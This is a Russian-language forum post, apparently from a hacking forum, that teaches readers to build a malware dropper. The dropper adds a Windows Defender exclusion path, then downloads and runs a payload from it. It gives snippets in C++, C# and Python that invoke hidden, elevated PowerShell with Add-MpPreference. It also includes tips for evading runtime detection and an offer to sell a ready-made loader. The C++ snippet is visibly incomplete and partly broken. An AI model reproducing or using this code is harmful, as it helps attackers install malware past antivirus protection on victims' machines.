Как добавить путь в исключение Windows Defender? Создаем дроппер с “обходом WinDef”

Предысторией идеи написать этот топик послужила тема с продажей dropper-а, который выключает Windows Defender перед тем, как загружает и запускает какой-либо исполняемый файл. Все бы ничего, есть продукт и есть, но цена в три тысячи долларов…?

В этой статье я просто вставлю вырезки (сниппеты) кода, которые помогут вам написать свой такой лоадер без каких либо проблем..

Как это будет работать?

Вы запускаете свой лоадер/дроппер, он не отключает Windows Defender, ибо появится соответствующее уведомление, а добавляет путь в исключение, по которому вы далее записываете свой исполняемый файл и запускаете его оттуда.

Какая поочередность выполняемых лоадером действий?

  • Первая функция: создание папки по какому нибудь незамысловатому пути (например, %appdata%/XSSfolder)
  • Вторая функция: выполнение функции AddExclusion, указав путь созданный только что (сниппет функции AddExclusion я прикреплю ниже)
  • Скачка/дроппинг вашего исполняемого файла по пути, который вы создали и добавили в исключение

Ниже предоставлен пример функции AddExclusion на трех языках: С++, C#, Python. Функция принимает string с путем, например: C://Program Files//XSSProgram

Технические нюансы

  • Требуются права администратора, ибо в примерах powershell вызывается от имени администратора, без которых нельзя добавить путь в исключение
  • Runtime детекты будут распространяться на RunPE лоадеры/дропперы. Если вы криптуете ваш .exe файл методом RunPE, то запуская его по пути, добавленному в исключение, детект будет. Запускать .exe нужно строго с этого пути

Если вам нужен готовый исходный код лоадера/дроппера, то прошу отписать вас в тему о вашем желании, постараюсь быстренько реализовать готовый вариант с исходным кодом и удобным билдером

C++:

#include <iostream>
#include <Windows.h>

void addExclusion(const std::wstring& path) {
std::wstring powerShellScript = L”Add-MpPreference -ExclusionPath ‘” + path + L”‘”;

STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;

CreateProcess( NULL, (LPWSTR)L”powershell.exe”, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );

HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE);
DWORD bytesWritten;
WriteFile(hStdIn, powerShellScript.c_str(), powerShellScript.size() * sizeof(wchar_t), &bytesWritten, NULL);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
C#:

using System;
using System.Diagnostics;

public static class WinDefExclusion
{
public static void AddExclusion(string path)
{
string powerShellScript = @$”Add-MpPreference -ExclusionPath ‘{path}’”;

Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo()
{
FileName = “powershell.exe”,
RedirectStandardInput = true,
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true,
Verb = “runas”
};

process.StartInfo = startInfo;
process.Start();
process.StandardInput.WriteLine(powerShellScript);
process.StandardInput.Flush();
process.StandardInput.Close();
process.WaitForExit();
process.Close();

Python:

import subprocess def add_exclusion(path): power_shell_script = f”Add-MpPreference -ExclusionPath ‘{path}’” process = subprocess.Popen([“powershell.exe”], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) stdout, stderr = process.communicate(input=power_shell_script.encode()) process.wait()